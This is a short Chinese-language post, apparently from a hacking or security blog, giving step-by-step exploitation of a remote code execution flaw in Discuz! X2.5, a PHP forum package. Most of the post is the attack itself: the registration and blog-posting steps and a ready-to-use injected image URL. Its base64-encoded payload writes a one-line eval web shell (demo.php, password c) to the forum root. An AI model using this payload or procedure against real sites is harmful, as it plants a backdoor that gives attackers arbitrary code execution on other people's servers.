Discuz X2.5 最新GetShell 0day 详细利用方法 |

听说Discuz!这次又出漏洞了，这次还是个GetShell漏洞呀。这个漏洞比较新，应该很多站还没更新吧。影响版本有：20120407，beta，rc

 

Discuz! X2.5 Release 20120407版中的preg_replace使用了e修饰符和双引号，

 

在实现上存在远程命令执行漏洞，远程攻击者可利用此漏洞执行远程任意代码。

 

要成功利用此漏洞需要目标启用seo功能。

 

下面说下利用方法

 

1.注册任意账户

 

2.登陆用户，发表blog日志（注意是日志）

 

3.添加图片，选择网络图片，地址写入 ↓

 

 {${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}

 

4.访问日志，论坛根目录下生成demo.php，一句发密码c 

 

 

漏洞要开启seo，并且开启用户日志的seo，漏洞鸡肋，黑站就算了。